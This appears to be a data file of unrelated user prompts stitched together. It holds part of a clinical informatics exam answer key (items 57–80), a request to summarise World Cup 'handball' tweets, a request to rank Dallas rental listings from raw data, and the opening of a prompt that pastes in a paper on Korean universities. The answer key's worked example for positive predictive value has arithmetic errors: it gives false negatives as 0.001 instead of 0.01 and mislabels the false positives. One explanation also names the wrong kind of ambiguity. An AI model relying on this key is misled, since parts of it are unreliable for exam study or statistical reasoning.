superuser is not the same as the system administrator in a UNIX system who has superuser privileges. (REF: Section 3.5.3 - Clinical information system implementation)\n57\nTHE ANSWER IS C. \n(Test taker’s note: There is a lot of calculation required for this question, and I doubt you’d see anything this complicated on the boards. If done correctly without a calculator, this will probably take you 3-4 minutes. Most likely, you will be given some of the information instead of having to calculate it all.)\nWe are being asked to find the positive predictive value (PPV). First, we must construct our confusion matrix. Let’s start with the 0.1 of the population with the disease. Since our sensitivity is 0.9, we know that the true positives should be 0.9 x 0.1, or 0.09. That leaves the false negatives as 0.001. Now, we calculate for the people without the disease. They make up 0.9 of the population and since the specificity is also 0.9, the number of true negatives is 0.81, leaving 0.09 false negatives.\n\xa0\nTest (+)\nTest (-)\nDisease (+)\n0.09\n0.001\nDisease (-)\n0.09\n0.81\n\xa0\nPlugging into our equation, \nPPV = \xa0= 0.09 / (0.09 + 0.09) = 0.5\n\xa0\nThis could also be solved using Bayes’ Theorem, where D is the likelihood of having the disease and T is the likelihood of a positive test. P(T|D) is the probability of having a positive test given the disease, or sensitivity. P(D) is the prevalence of disease. P(T) is the probability of having a positive test, including both true and false positives.\n\n\xa0\n\xa0(REF: Section 2.1.2 - Decision Science)\n58\nTHE ANSWER IS B. The Leapfrog Group, founded by Fortune 500 companies with AHRQ support, was created in November 2000 in response to the 1999 Institute of Medicine report “To Err is Human”. Among its many activities, it developed an evaluation tool to assess proper function of CDS in computerized physician order entry (CPOE) systems.\xa0 (REF: 2.1.3 - Application of CDS)\n59\nTHE ANSWER IS B. \xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0 \u2028 (REF: Section 2.2.1 - Evidence Sources)\n\xa0\n60\nTHE ANSWER IS B. The DSM is a standard vocabulary for classifying mental disorders. (REF 3.4.1 - Standards Development)\n61\nTHE ANSWER IS D. Negotiation only requires that the two parties involved come to an agreement. In mediation, a third party mediator helps both sides find a solution, but they must agree to it. In arbitration, a third party judge settles the argument. In litigation, the legal system decides the outcome. (REF: Section 4.1.3 - Negotiation)\n62\nTHE ANSWER IS A. Promoting or recruiting internal candidates is generally less expensive than external candidates. It can be used to recognize contributions of current staff and may improve morale. External candidates bring diversity and fresh insights into the organization. (REF: 4.2.1 - Human Resources)\n63\nTHE ANSWER IS B. Several concepts are important in maintaining a safe CDS. Usability testing will identify problems with user interface as well as CDS alerts that are inappropriate or difficult to use. The basis upon which the decisions are made (the medical knowledge repository) must be kept up-to-date with new findings and new recommendations. When errors do arise, a complete audit trail is beneficial for tracing errors and for debugging. Downtime procedures are not relevant to the CDS per se, but are important to have nonetheless, as people who are acclimated to a CDS tend to trust the system to catch their errors for them. (REF: Section 2.1.6 - Quality and Safety Issues)\n64\nTHE ANSWER IS C. Pre-coordinated items in a vocabulary are those that are included explicitly. Post-coordinated items are those that are composed by the combination of pre-coordinated items. Codes, definitions and relationships are an intrinsic part of any vocabulary. (REF: 3.4.6 Ontologies and Taxonomies)\n65\nTHE ANSWER IS D. There is syntactic ambiguity if the sentence is constructed such that it could have more than one meaning. This is a challenging question because it requires that you understand that lexical ambiguity may result if there is a single word with more than one meaning. An example of lexical ambiguity is that the word bank can refer to a slope side of a river or a business establishment which lends money. An example of semantic ambiguity is: Olivia ate a salad with artichokes from New Zealand. Does this mean that the salad is from New Zealand? Are the artichokes from New Zealand? Both? (REF: 2.1.3 - Application of CDS)\n66\nTHE ANSWER IS B. A journal’s impact factor is determined by comparing the number of articles it prints with the number times those articles are cited by other journals. While the other choices tend to be characteristic of high impact factor journals, B is the best choice. (REF: 1.1.3 - Clinical Informatics Literature)\n67\nTHE ANSWER IS A. Intrinsic motivations arise from within a person and tend to relate to personal feelings of success. Extrinsic motivators involve the outside world and are usually social, monetary or regulatory (REF 4.1.6 - Motivation)\n68\nTHE ANSWER IS A. Of those listed, only a modern facility is a tangible resource. The remainder are intangible. REF: (4.5.2 – Environmental Scanning)\n69\nTHE ANSWER IS C. The Net Present Value (NPV) is the difference between the present value of cash inflows and the present value of cash outflows. The Accounting rate of return is the total profits divided by investment. The average cost for a company to borrow money is the Weighted Average Cost of Capital, WACC. (REF 4.5.5 Capital and operating budgeting)\n70\nTHE ANSWER IS D. EHRs and order sets are only tools to assist a clinician in caring for patients. The ordering physician will be held liable for any bad outcome resulting from an order set, even if it is misconfigured. It is reasonable to assume that the software author, the hospital and the creator of the order set will bear some liability, but not as much as the ordering doctor. (REF: 2.1.5 - Legal, Ethical and Regulatory Issues)\n71\nTHE ANSWER IS D. The National Council for Prescription Drug Programs (NCPDP) is a standards development organization accredited by the American National Standards Institute (ANSI) for communications with outpatient pharmacies. Inpatient pharmacy orders are typically covered by Health Level Seven (HL7) messages. The X12 committee creates standards for electronic data interchange, and the X12N subcommittee is responsible for communications with insurers. (REF: Section 3.4.3 Transaction Standards)\n72\nTHE ANSWER IS B. These are descriptions of innovativeness or eagerness to adopt new technology. (REF: Section 4.6.2 - Change Theories)\n73\nTHE ANSWER IS B. When the insurer requests information and it is returned by patient accounts, that represents a two-way conversation. The other choices are interactive, but none is truly bidirectional. For example, although the clinician need not agree with the clinical decision support system, he has no way of communicating with it. Similarly, although all research is informed by the medical literature, and researchers commonly write letters to the editors of their favorite journals, choice B is a better example of bidirectional communication. (REF: 1.2.3 - The flow of information)\n74\nTHE ANSWER IS B. Medicare Severity Diagnosis Related Groups (MSDRG) stratify patients by the severity of their disease and the expected length of time that they will remain under inpatient care. Each MSDRG is assigned a weight which determines hospital reimbursement as negotiated with individual payors. CPT is used to encode professional (i.e. physician) procedures. ICD-9 was used to record diagnoses until it was supplanted by ICD-10. The NDC is used to identify medication packages.\xa0 (REF: 3.4.5. Nomenclatures, vocabularies, and terminologies)\n75\nTHE ANSWER IS D. Interfacing is the process of setting up communication channels between information systems. In contrast, integration is when two or more systems use the same data store. In the case of two hospitals which would like to retain their respective EHRs, integration would be very difficult, if not impossible. Neither Certification nor anonymization would help this process. (REF: Section 3.1.6. Technical approaches that enable sharing data)\n76\nTHE ANSWER IS A. A mesh network connects each node to every other node. A simple point-to-point network connects two nodes to each other. (You might argue that in a 2-node network, all nodes are connected to every other node, but the question specified that there were multiple nodes). A star network contains a central hub to which all nodes connect. A star of star networks is often called a snowflake. (REF 3.1.3 - Networks)\n77\nTHE ANSWER IS D. TURF is a unified framework for EHR usability. Distributed Cognition is a theory that states that decisionmaking is not solely an individual activity, but distributed across objects, individuals, artefacts, and tools in the environment. GOMS is a cognitive model of human-computer interaction that seeks to measure complexity of tasks. A Learning Health System is an EHR which continuously incorporates new information to build a more robust and adaptive system. (REF: Section 3.2.3 - Interface design standards and design principles)\n78\nTHE ANSWER IS D. Tactical goals of project management involve making sure that a project runs within budget and schedule and otherwise meets the needs of the sponsors. Portfolio management is the process of picking which projects can be used to further the organization’s long term strategy. (REF: Section 4.4.5 Project Management – Informatics project challenges)\n79\nTHE ANSWER IS D. Interviews work well to obtain individual opinions, but are not as good in obtaining consensus. Group meetings require scheduling and skilled moderators to help alleviate complex power dynamics. (REF: Section 3.2.2 - HCI Evaluation)\n80\nTHE ANSWER IS B. In a prediction market, each member of the group is given a fixed amount of fake money with which to purchase ideas that they find most favorable. The idea with the most support wins.\xa0 (REF 4.2.3 Group Management Processes)' -'Describe as reporting live a current event in max 3 lines, what is happening right now using the following tweets, with a focus on the term "handball"\n\nsourceText Time\nHandball! Penalty kick for France!! #WorldCupFinal 17:36:26.0000000\nPenalty France handball! 17:35:51.0000000\nHandball and penalty for France 17:36:02.0000000\nHANDBALL!!! PENALTY!!!\'\'#ARGFRA #FIFAWorldCup 17:36:04.0000000\nPenalty to France. Handball 17:35:44.0000000\nHANDBALL!! PENALTY!!! #WorldCup #ArgentinaVsFrance 17:36:40.0000000\nHandball from Montiel. Penalty to France #ARGFRA 17:36:13.0000000\nHANDBALL THATS A PENALTY KICK FOR FRANCE 17:36:12.0000000\nHANDBALL!!!!! FRANCE GETS A PENALTY!!!! 17:36:15.0000000\n@FIFAWorldCup @TeamMessi now Argentina plays handball! Penalty!!!!!!!!!!!!!!!!!! 17:36:41.0000000\nHandball!!!! Penalty to France....\'\'Mbappe\'s hattrick? https://t.co/b711P9kC8Y 17:36:49.0000000\nPenalty to France for handball. 17:36:42.0000000\nPENALTY to France!! Handball in the area on an Mbappe shot and Mbappe will go or his hat-trick from the spot!! 17:36:02.0000000\nHandball called on Argentina in the penalty box!!! 17:36:03.0000000\nHandball Penalty! ????? #ARGFRA 17:36:06.0000000\nOmg it’s handball, penalty to France ???? 17:36:23.0000000\nHandball and it’s another penalty for France #ARGFRA 17:36:26.0000000\nPenalty to #FRA for handball by Montiel\'\'#ARGFRA #Qatar2022 #WorldCup 17:36:24.0000000\nOH MY GOD! A FRANCE PENALTY! HANDBALL!!! 17:36:33.0000000\nPENALTY TO FRANCE! HANDBALL ON MONTIEL! \'\'https://t.co/c3VIDlmnjp 17:36:12.0000000\nPENALTY FOR FRANCE! HANDBALL!\'\'#ArgentinaVsFrance #FIFAWorldCupFinal 17:36:09.0000000\nWtf handball. Penalty for France. Omg. 17:36:20.0000000\nOh no Issa handball Gonzalo, penalty for ???? #WorldCupFinal 17:36:36.0000000\nOmg !! Handball penalty France 17:36:37.0000000\nHANDBALL IN THE ARGENTINE BOX OG MY GOD IT\'S A PENALTY FOR FRANCE 17:36:52.0000000\nHandball penalty\'#ARGFRA 17:36:37.0000000\nNow a handball penalty. #WorldCupFinal https://t.co/o0Vy0qZxv0 17:36:32.0000000\nHANDBALL PENALTY FOR FRANCE 17:36:10.0000000\nHANDBALL AND ITS A PENALTY KICK FOR FRANCE AND MBAPPE! 17:36:47.0000000\nPenalty to France! Handball! This is absolute madness 17:36:25.0000000\nHANDBALL PENALTY FOR FRANCE!! #ARGFRA 17:36:12.0000000\nGONZALO MONTIEL HANDBALL\'\'PENALTY TO FRANCE 17:36:14.0000000\nPENALTY! Handball in the box and France can level it here. #ARG #FRA 17:36:07.0000000\nHOW IS THIS MATCH STILL GOING ON?!\'\'Handball. Penalty to France. We\'re about to witness a Mbappé hattrick. #FIFAWorldCup 17:36:47.0000000\nMontiel with the handball, PENALTY for France 17:36:51.0000000\nHandball.. Penalty for france.. 17:36:38.0000000\n@CTPhDinSports @highlghtheaven Argentina got a handball and France gets a penalty shot 17:36:46.0000000\nWHHHHAAAATTTTT?!?! A handball!!! And a penalty for France!!! The arm is up there 17:36:05.0000000\nPenalty given for handball to France!! ?? 17:36:48.0000000\nHandball, penalty for France!???? 17:36:26.0000000\nIt\'s a France penalty!! Handball given!!\'\'#ARG 3-2 #FRA \'\'#FIFAWorldCup | #Qatar2022\'\'https://t.co/UmozTF4u8i 17:36:04.0000000\nA penalty!!! for France! in the last minutes from a handball for Montiel #FIFAWorldCup 17:36:38.0000000\nHandball!!! Penalty to France! ??\'\'#ARGvsFRA\'#FIFAWorldCup2022 17:36:52.0000000\nHandball \'\'It\'s a penalty n France should be back to this game ooo ?????? 17:36:30.0000000\nHandball in the box. Penalty to France. It hit Montiel\'s elbow. Ref was right on it. #ARGFRA #FIFAWorldCup 17:36:31.0000000\nHANDBALL, PENALTY FRANCE OMDDDSSS WTF IS THIS GAME. 17:36:31.0000000\nFrance has a penalty with five minutes remaining! A handball sends them to the spot, and Mbappe will take it! 17:36:39.0000000\nanother penalty for France handball 17:36:34.0000000\nHANDBALL\'PENALTY FOE FRANCE\'ANOTHER TWISTT 17:36:56.0000000\nPenalty to France. Montiel handball - a tough one. 17:36:25.0000000\nHANDBALL ARGENTINA!! PENALTY KICK FRANCE!!! #ARGvsFRA #ArgentinaVsFrance #ARG #FRA #FIFAWorldCup #Qatar2022 17:36:17.0000000\nHANDBALL PENALTY FRANCE 17:36:29.0000000\nPENALTY TO FRANCE \'\'HANDBALL https://t.co/MWaO4tN2yQ 17:36:08.0000000\n#ArgentinaVsFrance\'#FIFAWorldCup \'Handball! France awarded penalty 17:36:35.0000000\nHandball! Penalty to France and a yellow card to Montiel! This game keeps changing! #ARGFRA \'#FIFAWorldCup | #Qatar2022 17:36:33.0000000\nHandball. Penalty for France 17:36:07.0000000\nPenalty To France for handball 17:36:52.0000000\nPENALTY!! HANDBALL FRANCE LETS GO 17:36:02.0000000\nHandball another penalty for France 17:36:02.0000000\nHANDBALL AND PENALTY FOR FRANCE 17:35:52.0000000\nPenalty for France yet again. Clear handball. This wc final refuses to end jeeez. Club football we need you ???? 17:36:42.0000000\nA PENALTY FOR FRANCE!!! HANDBALL ON MONTIEL!! #FIFAWorldCup 17:36:00.0000000\nHANDBALL ARGENTINA\'\'FRANCE HAS A PENALTY 17:35:50.0000000\nHandball! Penalty to France! 17:36:52.0000000\nHANDBALL!!! PENALTY KICK FOR FRANCE AGAIN!!! #FIFAWorldCup #ARGFRA 17:36:28.0000000\nOH NOO OH NOO HANDBALL AND PENALTY FOR FRANCE NOOOOOOO ????????\'\'SHITT LAAA MY COMMENT ONE HOUR AGO\'\'NOOOOO #FIFAWorldCup 17:36:44.0000000\nAnother penalty to France for handball! Scenes! 17:36:22.0000000\nClear penalty for France, handball, no argument. We\'ll see how Kolo Muani takes it. 17:36:28.0000000\n#WorldCupFinal \'#ArgentinaVsFrance \'\'115 \'\'penalty for France on a handball.\'\'mbappe likely to shoot again. 17:36:38.0000000' -"go through the following listing data and pick out the best listings with an explanation as to why they are likely to be successful. \n\nuse the following format in the output:\n\nListing Name:\nListing Location:\nListing Amenity List:\nListing Property Type:\nLikely Reason for Success:\nLikely Price of the Property to Purchase Versus Lease\n\nThis is the data:\n\n11498438;Clean, quiet, balcony, washer and dryer, pool view;16783105;Mike;;District 11;32.88763;-96.77053;Entire home/apt;65;10;40;44592;0.49;7;357;0\n5608008;Guest Quarters/Studio Apartment;9954289;Mark;;District 1;32.74084;-96.86823;Entire home/apt;98;4;61;44878;0.65;1;298;4\n11510807;Luxurious 3 lvl Oak Lawn/Highland Park!;37273366;City;;District 14;32.81862;-96.80791;Entire home/apt;221;2;95;44939;1.32;3;354;13\n5632405;Beautiful Bedroom w/ Private Bath;378749;Brian;;District 4;32.73462;-96.80998;Private room;60;2;39;44879;0.5;1;44;22\n11533190;Luxury 5 Star, cold A/C, wood floors, gated, pool;16783105;Mike;;District 11;32.88491;-96.77128;Entire home/apt;65;10;45;44928;0.57;7;320;8\n5692910;Blackbird Lofts;29514625;Lisa;;District 2;32.77722;-96.79086;Entire home/apt;325;5;176;44277;1.85;1;85;0\n11551096;Private Guesthouse & Pool in Dallas/Preston Hollow;60978791;Charles;;District 11;32.89721;-96.77555;Entire home/apt;123;2;68;44956;4.31;1;151;50\n5778671;Medical Professional Welcome;1294259;MsPadilla;;District 6;32.87351;-96.85159;Private room;35;5;9;43864;0.09;3;363;0\n11606945;Entire guest house in Preston Hollow;61431187;John;;District 11;32.90476;-96.80272;Entire home/apt;107;2;47;44894;0.56;1;221;3\n6017390;Blue Stone Manor; 1 Bedroom Studio;31234076;Adam;;District 14;32.8294787338956;-96.7705114558339;Entire home/apt;169;30;0;;;1;259;0\n11639642;Lower Greenville Ave. Historic Duplex;249111;Carolyn;;District 2;32.81472;-96.77283;Entire home/apt;59;30;23;44774;0.87;1;56;3\n6291070;Centrally located 3 bedroom Texas Style stay;484119371;Dre;;District 2;32.81832;-96.78003;Entire home/apt;304;1;10;44969;2.56;1;81;10\n11656994;Two bedroom. Mid Century style close to everything;49028930;Brett;;District 2;32.808;-96.81287;Entire home/apt;65;30;7;44787;0.09;8;248;2\n6488857;King Bed Spa Bath Minutes From Downtown Dallas;32135472;Jamal;;District 9;32.84383;-96.67262;Entire home/apt;176;1;4;44955;0.88;1;137;4\n11674489;Entire Duplex 'A' in Bishop Arts \\*Near Everything\\*;31101090;Lupe;;District 1;32.74945;-96.82826;Entire home/apt;66;2;243;44957;3.75;2;132;45\n14430296;Cozy Room close to Downtown Dallas & SMU;42797060;Cindy;;District 14;32.84621;-96.76757;Private room;36;30;11;43483;0.15;1;259;0\n14553499;Prime Location Cozy & Comfy;43042344;Heath;;District 2;32.796;-96.77049;Entire home/apt;77;3;223;44955;2.84;151;353;14\n11757739;Nice cozy house near Love Field;43889052;Israel;;District 2;32.84695;-96.82887;Entire home/apt;110;4;170;44865;2.02;4;198;16\n14649373;Bowser Ave Oaklawn Dallas;90964420;Rabecca;;District 14;32.81901;-96.8111;Private room;59;7;29;44522;0.37;1;0;0\n11773727;Charming Pool side Suite;62676658;Nadia;;District 12;33.00456;-96.78763;Private room;85;2;31;43761;0.37;1;257;0\n14772239;White Rock Lake Rustic Hideaway!;11668120;Marci;;District 9;32.82318;-96.71318;Private room;65;1;29;44600;0.37;2;46;0\n11883701;Private Room 2 Downtown Townhouse;9557710;Jeff;;District 2;32.77893;-96.79058;Private room;78;1;147;44911;1.82;4;3;8\n11966988;SoCozyToo Exec Suite Oaklawn/Uptown;20205060;Stan;;District 14;32.81669;-96.81073;Entire home/apt;197;2;438;44948;5.3;3;271;55\n14772930;White Rock Lake Peaceful Blue Room;11668120;Marci;;District 9;32.82248;-96.71215;Private room;65;1;75;44583;0.96;2;45;0\n12049690;Comfortable Modern Design House with Jacuzzi;64526429;Asher;;District 12;33.01158;-96.83751;Entire home/apt;204;1;278;44933;3.33;6;310;8\n14828059;Private bedroom with ensuite bathroom and garage;46546689;Melanie;;District 11;32.92532;-96.7787;Private room;50;5;1;44438;0.06;1;353;0\n14839138;803 sqft Bright Trendy Uptown Studio;53212673;Grace;;District 14;32.79658;-96.79853;Entire home/apt;526;2;3;42652;0.04;1;358;0\n12115172;Quiet Home 3 Blocks from Downtown/Uptown 1000 Mbps;5790940;Jason;;District 14;32.79571;-96.7909;Entire home/apt;157;60;57;44957;0.73;3;290;9\n14843318;Bed 3B Shared Space! Close to Downtown Dallas!;59509385;Jeremy;;District 1;32.75502;-96.81407;Shared room;24;1;176;44953;2.24;9;35;15\n12169059;Rare Gem in the Heart â\x9d¤ï¸\x8f of the City;36887133;Vernon;;District 9;32.80841;-96.71194;Entire home/apt;81;30;356;44682;4.4;2;221;3\n14843367;Bed 4B Shared Space Close to Downtown! Bottom Bunk;59509385;Jeremy;;District 1;32.75462;-96.81212;Shared room;24;1;156;44937;2;9;89;23\n14859551;Katy Trail Condo In Heart of Trendy Uptown!;41923076;Anj;;District 14;32.81617;-96.79579;Entire home/apt;130;2;245;44954;3.14;9;156;37\n12230040;5 Star Rated, Private En Suite - Central Location;53047362;Elly;;District 14;32.81819;-96.78866;Private room;77;2;57;44969;2.99;1;51;34\n14874252;Relaxed Dallas Uptown Townhome - Near SMU;47111572;Cynthia;;District 14;32.81339;-96.79517;Entire home/apt;147;2;102;44924;1.3;1;111;8\n14874622;Walkable Luxury Comfort Bishop Arts ★ Near It all;93232901;Ej;;District 1;32.7519;-96.82784;Entire home/apt;81;1;409;44962;5.32;17;315;63\n12245554;Uptown – Bright 1 bd #4, Free Fast WiFi, Parking;6063232;Joan;;District 14;32.81975;-96.79046;Entire home/apt;113;3;27;44838;0.33;11;365;2\n14886894;WINTER \\*FAMILY\\* GET AWAY-4800 SQFT ON 3/4 ACRE;35342054;Deborah;;District 14;32.815517;-96.742447;Entire home/apt;532;3;107;44899;1.37;5;36;14\n14947097;Dallas- Lakewood - On the Creek by White Rock Lake;36558634;Matt;;District 9;32.83724;-96.74616;Entire home/apt;450;60;8;44699;0.1;1;104;1\n12397251;Luxurious 3BR townhome in West Village;24649217;Van And Lynn;;District 14;32.81185;-96.79686;Entire home/apt;699;2;15;44843;0.19;1;73;1\n14993199;Lower Greenville 2BR, Great Balcony;43042344;Heath;;District 14;32.81415;-96.76521;Entire home/apt;92;5;192;44962;2.48;151;346;31\n15006477;Private Bedroom, Great Location;68322746;Elias;;District 13;32.90495;-96.87363;Private room;45;1;11;44968;0.14;1;230;1\n15030274;Cool Space| Hot Neighborhood;1287648;Cindy | Becca;;District 2;32.81686;-96.8209;Entire home/apt;94;30;34;44931;0.45;1;162;4\n12731709;Awesome Casa: Walk to Greenville!;75347198;Nic;;District 14;32.82716;-96.76485;Entire home/apt;150;2;212;44383;2.58;1;0;0\n12759576;Ravinia Bungalow;69410401;Jim;;District 1;32.74218;-96.86933;Entire home/apt;89;1;668;44956;8.26;1;297;140\n15050487;Cozy, Relax and, Charming 3/2 Home;16354066;Daniel;;District 3;32.65104;-96.94424;Entire home/apt;165;2;194;44961;2.49;1;337;39\n12813886;New York Room in Dallas! Solo Travelers Only!;59509385;Jeremy;;District 1;32.75471;-96.81236;Private room;39;1;295;44906;3.58;9;88;20\n15073911;Family Friendly W/Huge Patio Mins To DT/Greenville;39191637;Lee;;District 14;32.8156661987304;-96.7830505371093;Entire home/apt;186;2;176;44948;2.25;6;331;15\n12915291;PERFECT LOCATION-private 2BR condo in North Dallas;70820214;Edina And Joe;;District 11;32.94317;-96.81048;Entire home/apt;136;2;130;44960;1.59;1;342;26\n15110568;Cozy Nest - Near SMU, Convention Center & Downtown;95719694;Linda;;District 14;32.82881;-96.77874;Private room;59;2;409;44968;5.25;1;151;54\n15131990;The Best in Uptown! Jacuzzi/Grill/Games;58642120;Rj;;District 14;32.80997;-96.80418;Entire home/apt;272;1;194;44960;2.51;1;137;24\n15132179;Cozy Studio with Pool near Bishop Arts, Downtown;58996139;Jennifer;;District 3;32.69983;-96.86834;Entire home/apt;125;28;32;44902;0.55;1;360;5\n15132439;Bed 3A SOHO Style Shared Space in Dallas! Top Bunk;59509385;Jeremy;;District 1;32.7563;-96.81236;Shared room;24;1;118;44956;1.52;9;89;21\n12973068;Comfy, Cozy & the Perfect Location;43042344;Heath;;District 2;32.79576;-96.77105;Entire home/apt;71;7;205;44968;2.5;151;361;14\n15132655;Stylish Stone Bungalow at White Rock Lake;95945165;Mary Jo;;District 9;32.84044;-96.713;Entire home/apt;170;3;102;44964;1.33;1;146;28\n15132865;Quiet 6 Bed Home Mins To DT/Uptown/Greenville;39191637;Lee;;District 14;32.8156585693359;-96.7830810546875;Entire home/apt;175;2;109;44927;1.44;6;347;7\n15220305;Lovely Luxury 1-Bedroom Apt Midtown Dallas;96719766;Steven;;District 11;32.94707;-96.82246;Entire home/apt;150;2;1;44798;0.17;1;89;1\n12989680;Bed 4A Shared Space Top Bunk in Dallas!;59509385;Jeremy;;District 1;32.75427;-96.81428;Shared room;24;1;157;44930;1.91;9;81;4\n15342254;A Room With a View;95030182;Lauri;;District 14;32.8357;-96.77329;Private room;80;1;123;44938;1.65;1;320;25\n15342315;Charming Cabin Near Deep Ellum & Fair Park;10487666;Grady;;District 5;32.76427;-96.6942;Entire home/apt;63;1;989;44964;13.4;3;316;154\n15394959;Stylish Home | Private Backyard | Fire Pit;98470998;Josh;;District 14;32.85149;-96.75481;Entire home/apt;722;2;20;44074;0.26;1;154;0\n13042721;M STREET HOUSE POOL SLEEPS 6 LOCAL, LOCAL, LOCAL;54424591;Bruce;;District 14;32.82835;-96.76814;Entire home/apt;379;3;141;44892;1.72;1;340;20\n13082432;Solo Traveler Only - Day and Night Space!;59509385;Jeremy;;District 1;32.75596;-96.81204;Shared room;28;1;230;44932;2.82;9;0;10\n13139581;Stunning Room Near Uptown, Downtown, Deep Ellum;73227695;Aj;;District 14;32.79702;-96.79184;Private room;132;1;119;44694;1.46;6;0;1\n15396018;Awesome Crashpad In Oak Lawn - Spare Bedroom;98459184;Ryan;;District 2;32.82142;-96.8228;Private room;44;3;9;44965;1.36;1;243;9\n15396199;Perfect Mansion Park Townhouse;9791021;Scott;;District 14;32.80348;-96.81279;Entire home/apt;300;2;3;44527;0.04;1;365;0\n13201433;\\*\\*Brand NEW Urban Loft in Downtown Dallas\\*\\*;72094342;Ashley;;District 2;32.77555;-96.79789;Entire home/apt;109;1;133;44971;8.31;2;130;108\n15411661;A Cozy Home in Dallas;69524865;Veronica;;District 1;32.73939;-96.83027;Entire home/apt;99;3;117;44956;1.52;2;103;10\n13262768;Chic ensuite room with kitchenette/livingroom.;74141217;Fiona;;District 14;32.80227;-96.78656;Private room;85;2;208;44752;2.55;1;0;2\n15420172;Peaceful Home By the Lake, Arboretum, Downtown;4505460;Judy;;District 9;32.85315;-96.70441;Private room;38;5;39;44830;0.51;3;131;4\n13326792;Art Loft with Zen Den - Cedars / Downtown Dallas;61276660;M;;District 2;32.76758;-96.79105;Private room;88;2;46;44883;0.86;1;172;11\n15454467;Lakewood Private Quarters in the Heart of Dallas;72184929;Gp;;District 9;32.81863;-96.75121;Entire home/apt;115;1;298;44955;3.92;1;169;39\n15595790;Urban comfort;96993967;Lashonda;;District 4;32.7174;-96.76959;Private room;80;1;0;;;2;364;0\n13348105;New Decor! Private Studio Meets Needs & Much More!;71839752;Jonathan;;District 3;32.71103;-96.85882;Private room;121;2;143;44857;1.76;1;320;14\n15665993;Urban comfort;96993967;Lashonda;;District 4;32.70349;-96.77428;Entire home/apt;86;1;0;;;2;365;0\n15708430;14 minutes to Downtown/Fair Park in East Dallas;2770842;Ericka;;District 7;32.80832;-96.68058;Private room;37;1;63;44962;0.83;1;60;26\n15753501;Uptown - Lovely1 bd #5 Fast WiFi, Parking Shopping;6063232;Joan;;District 14;32.81959;-96.78969;Entire home/apt;113;3;18;44922;0.25;11;365;2\n13379582;Private Master Bedroom on trendy Lowest Greenville;76039395;Rob;;District 14;32.81582;-96.76825;Private room;74;2;80;44937;0.99;2;89;26\n15769743;Private Rooftop w/Views of Downtown Dallas!;201570;Evie;;District 2;32.80409;-96.78259;Entire home/apt;149;2;280;44957;3.7;1;234;67\n13452559;Comfy, Spacious & Ideally Located;43042344;Heath;;District 2;32.79573;-96.76978;Entire home/apt;71;5;218;44962;2.69;151;347;12\n13635641;Sophisticated gem in the historic Munger Place;23916014;Braden;;District 14;32.80039;-96.76521;Entire home/apt;127;19;10;44891;0.46;68;335;7\n15804483;Peaceful and cozy home;971049;C;;District 13;32.87046;-96.79141;Entire home/apt;130;6;29;44921;0.38;1;352;6\n14012867;Free Parking, Fun M-Street / Lower-Greenville Flat;10901678;Vera;;District 14;32.82206;-96.76311;Entire home/apt;76;1;460;44960;5.75;23;328;35\n14038228;Amazing Loft w/Fireplace near Deep Ellum;23916014;Braden;;District 14;32.81234;-96.75664;Entire home/apt;165;19;15;44922;0.21;68;365;9\n15804640;Cozy Duplex Bungalow close to Lower Greenville;60226438;Jesse;;District 2;32.81569;-96.77622;Entire home/apt;95;2;180;44960;2.38;5;265;21\n14058229;Private Bedroom/Bathroom in Non Smoking Household;1237905;Manuel;;District 13;32.89362;-96.87172;Private room;43;3;42;43825;0.53;3;0;0\n15868576;The Designer Dallas Condo;102864844;Christina;;District 14;32.84966;-96.76371;Entire home/apt;109;20;39;44878;0.51;2;132;10\n15882537;Single Bedroom for Rental - Easy airport access;25173150;Hayden;;District 13;32.84907;-96.81907;Private room;70;1;0;;;1;179;0\n14109983;Delightful flat in the heart of Uptown/Oaklawn.;84990738;Teresa;;District 14;32.81481;-96.80844;Entire home/apt;118;1;387;44963;4.99;1;340;78\n15988676;Centrally Located SMU Condo Near Everything!;47783364;Adam;;District 14;32.84496;-96.76594;Entire home/apt;75;30;21;44787;0.28;2;0;3\n16034538;New hm, gated 3 bed with media, spa;101555838;Shelley;;District 13;32.8635;-96.83339;Private room;699;3;1;42731;0.01;1;0;0\n14135160;Comfy Clean Spacious 2BD Townhouse;85293121;Lan;;District 13;32.87513;-96.75307;Entire home/apt;151;5;54;44841;0.73;1;56;7\n16124597;Stunning Townhome Near Uptown/Downtown/Deep Ellum;73227695;Aj;;District 14;32.79495;-96.79192;Entire home/apt;207;1;231;44966;3.08;6;170;77\n16175103;Bed 5B Texas Shared Space Single Bunk in Dallas!;59509385;Jeremy;;District 1;32.75621;-96.81205;Shared room;24;1;170;44954;2.25;9;5;29\n14341244;Luxury oasis w/resort amenities Lower Greenville;23916014;Braden;;District 14;32.8114;-96.75802;Entire home/apt;155;30;10;44606;0.32;68;229;0\n16239694;Refined, Art-Filled Home in Preston Hollow;5742868;Tom And Diane;;District 13;32.88426;-96.78933;Entire home/apt;990;2;24;44806;0.34;1;332;3\n14372091;Sweet Retreat-Highland Park;82337322;Donna;;District 14;32.82067;-96.80682;Entire home/apt;439;2;17;44907;0.22;2;245;2\n14386734;Dallas at your doorstep! /secure/private space;88358457;Jim;;District 2;32.82432;-96.83036;Private room;70;1;341;44971;4.3;1;87;82\n16299009;Victorian Charm - Totally remodeled June 2022;43042344;Heath;;District 2;32.79584;-96.76985;Entire home/apt;72;4;157;44955;2.09;151;352;32\n16353509;Downtown/Deep Ellum Great Location Very Private;605717;Leonard;;District 14;32.78704;-96.78759;Entire home/apt;68;1;921;44968;12.31;3;279;166\n17379958;Uptown Dallas Townhome on Katy Trail!;38689899;James;;District 14;32.81515;-96.79685;Entire home/apt;206;2;79;44907;1.09;1;301;22" -"!IMPORTANT: Answer only 'Okay' until you reach 'End of paper.'\n\nContext In Korea, universities are in crisis because of a decrease in the school-age population and the Ministry of Education conducts diagnosis every three years. The government has implemented the University Basic Competency Assessment of Korea and provided financial support to universities based on the expected closures (Kim et al., 2020). Because reputation varies depending on the diagnosis results and is the standard for financial support, most universities are preparing for it and improving the basic competencies of universities in the process of improving the results. Private universities, which account for more than 85% of Korean universities, are subject to structural reform and are preparing for diagnosis through consulting. While conducting consulting at three private universities preparing for the diagnosis of basic university competency, we found that they were making tremendous efforts to seek organizational change and succeed like private companies. University organizations, which can be called knowledge-based organizations, can achieve organizational change based on learning organizations and knowledge sharing. Therefore, this study aims to examine the openness to change along with the two outcome variables (learning organization, knowledge sharing). As the drivers of change are external environment transformation and government evaluation, there was a view that the change initiative should be top-down. To change the university organization, it is necessary to understand the relationship between various interest groups. Dee and Leisyte (2017) conducted interviews with academics and students about seminar courses and advising centers for undergraduate students at universities. Quarchioni et al. (2020) systematized knowledge management in 